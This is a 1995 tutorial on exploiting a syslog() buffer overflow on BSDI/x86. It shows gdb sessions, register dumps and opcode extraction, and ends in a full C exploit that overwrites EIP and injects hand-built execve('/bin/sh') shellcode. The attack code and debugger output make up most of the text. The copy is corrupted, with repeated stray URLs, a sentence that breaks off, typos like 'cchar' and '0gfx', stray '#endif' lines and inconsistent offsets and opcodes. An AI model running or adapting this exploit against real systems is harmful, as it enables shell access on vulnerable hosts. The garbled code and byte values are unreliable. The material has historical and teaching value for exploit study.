How to write Buffer Overflows

This is really rough, and some of it is not needed. I wrote this as a reminder note to myself as I really didn't want to look at any more AT&T assembly again for a while and was afraid I would forget what I had done. If you are an old assembly guru then you might scoff at some of this... oh well, it works and that's a hack in itself.

-by mudge@l0pht.com 10/20/95

test out the program (duh).

--------syslog_test_1.c---------

#include

char buffer[4028];

void main() {
    int i;
    for (i=0; i<=4028; i++)
        buffer[i]='A';
    syslog(LOG_ERR, buffer);
}

--------end syslog_test_1.c---------

Compile the program and run it. Make sure you include the symbol table for the debugger or not... depending upon how macho you feel today.

bash$ gcc -g buf.c -o buf
bash$ buf
Segmentation fault (core dumped)

The 'Segmentation fault (core dumped)' is what we wanted to see. This tells us there is definately an attempt to access some memory address that we shouldn't. If you do much in 'C' with pointers on a unix machine you have probably seen this (or Bus error) when pointing or dereferencing incorrectly.

Fire up gdb on the program (with or without the core file). Assuming you remove the core
file (this way you can learn a bit about gdb), the steps would be as follows:

```
bash$ gdb buf
(gdb) run
Starting program: /usr2/home/syslog/buf

Program received signal 11, Segmentation fault.
0x1273 in vsyslog (0x41414141, 0x41414141, 0x41414141, 0x41414141)
```

Ok, this is good. The 41's you see are the hex equivalent for the ascii character 'A'. We are definately going places where we shouldn't be.

```
(gdb) info all-registers
eax 0xefbfe641 -272640447
ecx 0x00000000 0
edx 0xefbfe67c -272640388
ebx 0xefbfe000 -272637952
esp 0xefbfe238 0xefbfe238
ebp 0xefbfe68 0xefbfe68
esi 0xefbfe684 -272640380
edi 0x0000cce8 52456
eip 0x0001273 0x1273
ps 0x0010212 66066
cs 0x000001f 31
ss 0x0000027 39
ds 0x0000027 39
es 0x0000027 39
fs 0x0000027 39
gs 0x0000027 39
```

The gdb command 'info all-registers' shows the values in the current hardware registers. The one we are really interested in is 'eip'. On some platforms this will be called 'ip' or 'pc'. It is the Instruction Pointer [also called Program Counter]. It points to the memory location of the next instruction the processor will execute. By overwriting this you can point to the beginning of your own code and the processor will merrily start executing it assuming you have it written as native opcodes and operands.

In the above we haven't gotten exactly where we need to be yet. If you want to see where it crashed out do the following:

```
(gdb) disassemble 0x1273
[stuff deleted]
0x1267 : incl 0xffffffff3dc(%ebp)
0x126d : testb %al,%al
0x126f : jne 0x125c
0x1271 : jmp 0x1276
0x1273 : movb %al,(%ebx)
```

http://insecure.org/stf/mudge_buffer_overflow_tutorial.html
If you are familiar with Microsoft assembler this will be a bit backwards to you. For example: in Microsoft you would 'mov ax,cx' to move cx to ax. In AT&T 'mov ax,cx' moves ax to cx. So put on those warp refraction eyeglasses and on we go.

Note also that Intel assembler

let's go back and tweak the original source code some eh?

-------------syslog_test_2.c-------------

#include

cchar buffer[4028];

void main() {

    int i;

    for (i=0; i<2024; i++)
        buffer[i]='A';

    syslog(LOG_ERR, buffer);
}
-------------end syslog_test_2.c-------------

We're just shortening the length of 'A's.

bash$ gcc -g buf.o -o buf
bash$ gdb buf
(gdb) run
Starting program: /usr2/home/syslog/buf

Program received signal 5, Trace/BPT trap
0x1001 in ?? (Error accessing memory address 0x41414149: Cannot allocate memory.

This is the magic response we've been looking for.

    (gdb) info all-registers
    eax 0xffffffff -1
    ecx 0x00000000 0
    edx 0x00000008 8
    ebx 0xefbfdeb4 -272638284
Now we move it along until we figure out where eip lives in the overflow (which is right after ebp in this arch architecture). With that known fact we only have to add 4 more bytes to our buffer of 'A's and we will overwrite eip completely.

--------syslog_test_3.c-------------

#include

char buffer[4028];

void main() {
    int i;
    
    for (i=0; i<2028; i++)
        buffer[i]='A';
    
    syslog(LOG_ERR, buffer);
}
--------end syslog_test_3.c---------

bash$ !gc
gcc -g buf.c -o buf
bash$ gdb buf
(gdb) run
Starting program: /usr2/home/syslog/buf

Program received signal 11, Segmentation fault
0x41414141 in errno (Error accessing memory address
0x41414149: Cannot allocate memory.

(gdb) info all-registers
eax 0xffffffff -1
ecx 0x00000000 0
edx 0x00000008 8

http://insecure.org/stf/mudge_buffer_overflow_tutorial.html
EBX 0xefbfde4 -272638284
ESP 0xefbfde70 0xefbfde70
EBP 0x41414141 0x41414141
ESI 0xefbfde0c -272638272
EDI 0xefbfde8 -272638280
EIP 0x41414141 0x41414141
PS 0x00010246 66118
CS 0x0000001f 31
SS 0x00000027 39
DS 0x00000027 39
ES 0x00000027 39
FS 0x00000027 39
GS 0x00000027 39

BINGO!!!

Here's where it starts to get interesting. Now that we know eip starts at buffer[204] and goes through buffer[2027] we can load it up with whatever we need. The question is... what do we need?

We find this by looking at the contents of buffer[].

```
(gdb) disassemble buffer
[stuff deleted]
0xc738 : incl %ecx
0xc739 : incl %ecx
0xc73a : incl %ecx
0xc73b : incl %ecx
0xc73c : addb %al,(-%eax)
0xc73e : addb %al,(-%eax)
0xc740 : addb %al,(-%eax)
[stuff deleted]
```

On the Intel x86 architecture [a pentium here but that doesn't matter] incl %eax is opcode 0100 0001 or 41hex. addb %al,(-%eax) is 0000 0000 or 0x0 hex. We will load up buffer[204] to buffer[2027] with the address of 0xc73c where we will start our code. You have two options here, one is to load the buffer up with the opcodes and operands and point the eip back into the buffer; the other option is what we are going to be doing which is to put the opcodes and operands after the eip and point to them.

The advantage to putting the code inside the buffer is that other than the ebp and eip registers you don't clobber anything else. The disadvantage is that you will need to do trickier coding (and actually write the assembly yourself) so that there are no bytes that contain 0x0 which will look like a null in the string. This will require you to know enough about the native chip architecture and opcodes to do this [easy enough for some people on Intel x86's but what happens when you run into an Alpha? -- lucky for us there is a gdb for Alpha I think :-)].
The advantage to putting the code after the eip is that you don't have to worry about bytes containing 0x0 in them. This way you can write whatever program you want to execute in 'C' and have gdb generate most of the machine code for you. The disadvantage is that you are overwriting the great unknown. In most cases the section you start to overwrite here contains your environment variables and other whatnots.... upon succesfully running your created code you might be dropped back into a big void. Deal with it.

The safest instruction is NOP which is a benign no-operation. This is what you will probably be loading the buffer up with as filler.

Ahhh but what if you don't know what the opcodes are for the particular architecture you are on. No problem. gcc has a wonderfull function called __asm__(char *); I rely upon this heavily for doing buffer overflows on architectures that I don't have assembler books for.

```
-----nop.c------
void main(){
    __asm__("nop\n");
}
----end nop.c-----
```

```
bash$ gcc -g nop.c -o nop
bash$ gdb nop
(gdb) disassemble main
Dump of assembler code for function main:
to 0x1088:
  0x1080  : pushl  %ebp
  0x1081  : movl   %esp,%ebp
  0x1083  : nop
  0x1084  : leave
  0x1085  : ret
  0x1086  : addb  %al,(%eax)
End of assembler dump.
(gdb) x/bx 0x1083
 0x1083  : 0x90
```

Since nop is at 0x1083 and the next instruction is at 0x1084 we know that nop only takes up one byte. Examining that byte shows us that it is 0x90 (hex).

Our program now looks like this:
```
----- syslog_test_4.c------
#include
```

http://insecure.org/stf/mudge_buffer_overflow_tutorial.html
char buffer[4028];

void main() {
    int i;

    for (i=0; i<2024; i++)
        buffer[i]=0x90;

    i=2024;
    buffer[i++]=0x3c;
    buffer[i++]=0xc7;
    buffer[i++]=0x00;
    buffer[i++]=0x00;

    syslog(LOG_ERR, buffer);
}

-------end syslog_test_4.c-------

Notice you need to load the eip backwards ie 0000c73c is loaded into the buffer as 3c c7 00 00.

Now the question we have is what is the code we insert from here on?

Suppose we want to run /bin/sh? Gee, I don't have a friggin clue as to why someone would want to do something like this, but I hear there are a lot of nasty people out there. Oh well. Here's the proggie we want to execute in C code:

------execute.c------
#include
main()
{
    char *name[2];
    name[0] = "sh";
    name[1] = NULL;
    execve("/bin/sh",name,NULL);
}

------end execute.c------

bash$ gcc -g execute.c -o execute
bash$ execute
$

Ok, the program works. Then again, if you couldn't whip up that little prog you should probably throw in the towel here. Maybe become a webmaster or something that requires little to no programming (or brainwave activity period). Here's the gdb scoop:
bash$ gdb execute  
(gdb) disassemble main  
Dump of assembler code for function main: 
to 0x10b8:  
0x1088 : pushl %ebp  
0x1089 : movl %esp,%ebp  
0x108b : subl $0x8,%esp  
0x108e : movl $0x1080,0xffffffff(%ebp)  
0x1095 : movl $0x0,0xffffffffc(%ebp)  
0x109c : pushl $0x0  
0x109e : leal 0xffffffff8(%ebp),%eax  
0x10a1 : pushl %eax  
0x10a2 : pushl $0x1083  
0x10a7 : call 0x10b8  
0x10ac : leave  
0x10ad : ret  
0x10ae : addb %al,(%eax)  
0x10b0 : jmp 0x1140  
0x10b5 : addb %al,(%eax)  
0x10b7 : addb %cl,0x3b05(%ebp)  
End of assembler dump.  

(gdb) disassemble execve  
Dump of assembler code for function execve: 
to 0x10c8:  
0x10b8 : leal 0x3b,%eax  
0x10be : lcall 0x7,0x0  
0x10c5 : jb 0x10b0  
0x10c7 : ret  
End of assembler dump.  

This is the assembly behind what our execute program does to run /bin/sh. We use execve() as it is a system call and this is what we are going to have our program execute (ie let the kernel service run it as opposed to having to write it from scratch).  

0x1083 contains the /bin/sh string and is the last thing pushed onto the stack before the call to execve.  

(gdb) x/10bc 0x1083  
0x1083 : 47 '/' 98 'b' 105 'i' 110 'n' 47 '/' 115 's'  
104 'h' 0 '\000'  

(0x1080 contains the arguments...which I haven't been able to really clean up).  

We will replace this address with the one where our string lives [when we decide where that
will be].

Here's the skeleton we will use from the execve disassembly:

```
[main]
0x108d :       movl  %esp,%ebp

0x108e :       movl  $0x1083,0xffffffff8(%ebp)
0x1095 :       movl  $0x0,0xffffffffc(%ebp)
0x109c :       pushl  $0x0
0x109e :       leal  0xffffffff8(%ebp),%eax
0x10a1 :       pushl  %eax
0x10a2 :       pushl  $0x1080

[execve]
0x10b8 :       leal  0x3b,%eax
0x10be :       lcall  0x7,0x0
```

All you need to do from here is to build up a bit of an environment for the program. Some of this stuff isn't necesary but I have it in still as I haven't fine tuned this yet.

I clean up eax. I don't remember why I do this and it shouldn't really be necesarry. Hell, better quit hitting the sauce. I'll figure out if it is after I tune this up a bit.

```
xorl  %eax,%eax
```

We will encapsulate the actull program with a jmp to somewhere and a call right back to the instruction after the jmp. This pushes ecx and esi onto the stack.

```
jmp   0x???? # this will jump to the call...
popl  %esi
popl  %ecx
```

The call back will be something like:

```
call  0x???? # this will point to the instruction after the jmp (ie
             # popl  %esi)
```

All put together it looks like this now:

```
------------------------------------------
movl  %esp,%ebp
xorl  %eax,%eax
jmp   0x???? # we don't know where yet...
# ------------------------------------------[main]
movl  $0x????,0xffffffff8(%ebp)  # we don't know what the address will
                                 # be yet.
movl  $0x0,0xffffffffc(%ebp)
```

http://insecure.org/stf/mudge_buffer_overflow_tutorial.html
There are only a couple of more things that we need to add before we fill in the addresses to a couple of the instructions.

Since we aren't actually calling execve with a 'call' anymore here, we need to push the value in ecx onto the stack to simulate it.

The only other thing is to not pass in the arguments to /bin/sh. We do this by changing the 'leal 0xffffffff8(%ebp),%eax' to 'leal 0xfffffffffc(%ebp),%eax' [remember 0x0 was moved there].

So the whole thing looks like this (without knowing the addresses for the '/bin/sh\0' string):

```assembly
pushl $0x0
leal 0xffffffff8(%ebp),%eax
pushl %eax
pushl $0x????
          # we don't know what the address will # be yet.
# ----------[execve]
leal 0x3b,%eax
lcall 0x7,0x0

call 0x???? # we don't know where yet...
```

```assembly
movl %esp,%ebp
xorl %eax,%eax # we added this
jmp 0x???? # we added this
popl %esi # we added this
popl %ecx # we added this
movl $0x????,0xffffffff5(%ebp)
movl $0x0,0xfffffffffc(%ebp)
pushl $0x0
leal 0xfffffffffc(%ebp),%eax # we changed this
pushl %eax
pushl $0x????
leal 0x3b,%eax
pushl %ecx # we added this
lcall 0x7,0x0
call 0x???? # we added this
```

To figure out the bytes to load up our buffer with for the parts that were already there run gdb on the execute program.
bash$ gdb execute
(gdb) disassemble main
Dump of assembler code for function main:
to 0x10bc:
0x108c:
  pushl %ebp
  movl %esp,%ebp
  subl $0x8,%esp
  movl $0x1080,0xfffffffff8(%ebp)
0x1099:
  movl $0x0,0xffffffff(%ebp)
0x10a0:
  pushl $0x0
0x10a2:
  leal 0xffffffff8(%ebp),%eax
0x10a5:
  pushl %eax
0x10a6:
  pushl $0x1083
0x10ab:
  call 0x10bc
0x10b0:
  leave
0x10b1:
  ret
0x10b2:
  addb %al,(%eax)
0x10b4:
  jmp 0x1144
0x10b9:
  addb %al,(%eax)
0x10bb:
  addb %cl,0x3b50(%ebp)
End of assembler dump.

[get out your scratch paper for this one... ]

0x108d:
  movl %esp,%ebp
this goes from 0x108d to 0x108e. 0x108f starts the next instruction. thus we can see the machine code with gdb like this.

(gdb) x/2bx 0x108d
0x108d: 0x89 0xe5

Now we know that buffer[2028]=0x89 and buffer[2029]=0xe5. Do this for all of the instructions that we are pulling out of the execute program. You can figure out the basic structure for the call command by looking at the one inexecute that calls execeve. Of course you will eventually need to put in the proper address.

When I work this out I break down the whole program so I can see what's going on. Something like the following

0x108c:
  pushl %ebp
  movl %esp,%ebp
  subl $0x8,%esp

(gdb) x/bx 0x108c
0x108c
: 0x55
  (gdb) x/bx 0x108d
  0x108d : 0x89
  (gdb) x/bx 0x108e
  0x108e : 0xe5
  (gdb) x/bx 0x108e
  0x108f : 0x83

so we see the following from this:

  0x55    pushl %ebp
  0x89    movl %esp,%ebp
  0xe5
  0x83    subl $0x8,%esp

  etc. etc. etc.

For commands that you don't know the opcodes to you can find them out for the particular chip you are on by writing little scratch programs.

   ----pop.c-------
   void main() {
     __asm__("popl %esi\n");
   }
   ---end pop.c----

bash$ gcc -g pop.c -o pop
bash$ gdb pop
(gdb) disassemble main
Dump of assembler code for function main:
to 0x1088:
  0x1080:
  : pushl %ebp
                   0x1081 : movl %esp,%ebp
                   0x1083 : popl %esi
                   0x1084 : leave
                   0x1085 : ret
                   0x1086 : addb %al,(%eax)
End of assembler dump.
(gdb) x/bx 0x1083
  0x1083 : 0xe5

So, 0x5e is popl %esi. You get the idea. After you have gotten this far build the string up (put in bogus addresses for the ones you don't know in the jmp's and call's... just so long as
we have the right amount of space being taken up by the jmp and call instructions... likewise for the movl's where we will need to know the memory location of 'sh\0\0/bin/sh\0'.

After you have built up the string, tack on the chars for sh\0\0/bin/sh\0.

Compile the program and load it into gdb. Before you run it in gdb set a break point for the syslog call.

```
(gdb) break syslog
Breakpoint 1 at 0x1463
(gdb) run
Starting program: /usr2/home/syslog/buf

Breakpoint 1, 0x1463 in syslog (0x00000003, 0x0000bf50, 0x0000082c, 0xefbfdeac)
```

(we know it will start at 0xc73c since thats right after the eip overflow... 0xc77f is just an educated guess as to where it will end)

```
(gdb) disassemble 0xc73c 0xc77f
Dump of assembler code from 0xc73c to 0xc77f:
0xc73c :  movl $esp,%ebp
0xc73e :  xorl %eax,%eax
0xc740 :  jmp 0xc76b
0xc742 :  popl %esi
0xc743 :  popl %ecx
0xc744 :  movl $0xc770,0xfffffffff5(%ebp)
0xc74b :  movl $0x0,0xfffffffff(%ebp)
0xc752 :  pushl $0x0
0xc754 :  leal 0xfffffffff(%ebp),%eax
0xc757 :  pushl %eax
0xc758 :  pushl $0xc773
0xc75d :  leal 0x3b,%eax
0xc763 :  pushl %ecx
0xc764 :  lcall 0x7,0x0
0xc76b :  call 0xc742
0xc770 :  jae 0xc7da
0xc772 :  addb %ch,(%edi)
0xc774 :  boundl 0x6e(%ecx),%ebp
0xc777 :  das
0xc778 :  jae 0xc7e2
0xc77a :  addb %al,(%eax)
0xc77c :  addb %al,(%eax)
0xc77e :  addb %al,(%eax)
End of assembler dump.
```

Look for the last instruction in your code. In this case it was the 'call' to right after the 'jmp'
near the beginning. Our data should be right after it and indeed we see that it is.

```
(gdb) x/13bc 0xc770
0xc770 : 115 's' 104 'h' 0 '\000' 47 '/'
         98 'b' 105 'i' 110 'n' 47 '/'
0xc778 : 115 's' 104 'h' 0 '\000' 0 '\000' 0 '\000'
```

Now go back into your code and put the appropriate addresses in the movl and pushl. At this point you should also be able to put in the appropriate operands for the jmp and call. Congrats... you are done. Here's what the output will look like when you run this on a system with the non patched libc/syslog bug.

```
bash$ buf
$ exit (do whatever here... you spawned a shell!!!!! yay!)
bash$
```

Here's my original program with lot's of comments:

```
/*****************************************************/
/* For BSDI running on Intel architecture -mudge, 10/19/95 */
/* by following the above document you should be able to write */
/* buffer overflows for other OS's on other architectures now */
/* mudge@10ph.com */
/* */
/* note: I haven't cleaned this up yet... it could be much nicer */
/*****************************************************/

#include

char buffer[4028];

void main () {
  
    int i;

    for(i=0; i<2024; i++)
        buffer[i]=0x90;

    /* should set eip to 0xc73c */

        buffer[2024]=0x3c;
        buffer[2025]=0xc7;
        buffer[2026]=0x00;
        buffer[2027]=0x00;

    i=2028;
```
/* begin actual program */

buffer[i++]=0x89; /* movl %esp, %ebp */
buffer[i++]=0xe5;

buffer[i++]=0x33; /* xorl %eax,%eax */
buffer[i++]=0xc0;

buffer[i++]=0xeb; /* jmp ahead */
buffer[i++]=0x29;

buffer[i++]=0xe5; /* popl %esi */
buffer[i++]=0x59; /* popl %ecx */

buffer[i++]=0xc7; /* movl $0xc770,0xffffffff(%ebp) */
buffer[i++]=0x45;
buffer[i++]=0xf5;
buffer[i++]=0x70;
buffer[i++]=0xc7;
buffer[i++]=0x00;
buffer[i++]=0x00;

buffer[i++]=0xc7; /* movl $0x0,0xfffffffffc(%ebp) */
buffer[i++]=0x45;
buffer[i++]=0xfc;
buffer[i++]=0x00;
buffer[i++]=0x00;
buffer[i++]=0x00;
buffer[i++]=0x00;

buffer[i++]=0x6a; /* pushl $0x0 */
buffer[i++]=0x00;

#endif

/* the above is what the disassembly of execute does... but we only want to push /bin/sh to be executed... it looks like this leal puts into eax the address where the arguments are going to be passed. By pointing to 0xffffffffc(%ebp) we point to a null and don't care about the args... could probably just load up the first section movl $0x0,0xffffffff8(%ebp) with a null and left this part the way it want's to be */

buffer[i++]=0x8d; /* leal 0xffffffff8(%ebp),%eax */
buffer[i++]=0x45;
buffer[i++]=0xf8;

#endif
buffer[i++] = 0x45;
buffer[i++] = 0gfx;

buffer[i++] = 0x50; /* pushl %eax */
buffer[i++] = 0x68; /* pushl $0xc73 */
buffer[i++] = 0x73;
buffer[i++] = 0xc7;
buffer[i++] = 0x00;
buffer[i++] = 0x00;

buffer[i++] = 0x8d; /* lea 0x3b,%eax */
buffer[i++] = 0x05;
buffer[i++] = 0x3b;
buffer[i++] = 0x00;
buffer[i++] = 0x00;
buffer[i++] = 0x00;
buffer[i++] = 0x00;

buffer[i++] = 0x51; /* pushl %ecx */
buffer[i++] = 0x9a; /* lcall 0x7,0x0 */
buffer[i++] = 0x00;
buffer[i++] = 0x00;
buffer[i++] = 0x00;
buffer[i++] = 0x00;
buffer[i++] = 0x07;
buffer[i++] = 0x00;

buffer[i++] = 0xe8; /* call back to ??? */
buffer[i++] = 0xd2;
buffer[i++] = 0xff;
buffer[i++] = 0xff;
buffer[i++] = 0xff;

buffer[i++] = 's';
buffer[i++] = 'h';
buffer[i++] = 0x00;
buffer[i++] = '/';
buffer[i++] = 'b';
buffer[i++] = 'i';
buffer[i++] = 'n';
buffer[i++] = '/';
buffer[i++] = 's';
buffer[i++] = 'h';
buffer[i++] = 0x00;
buffer[i++] = 0x00;

syslog(LOG_ERR, buffer);
}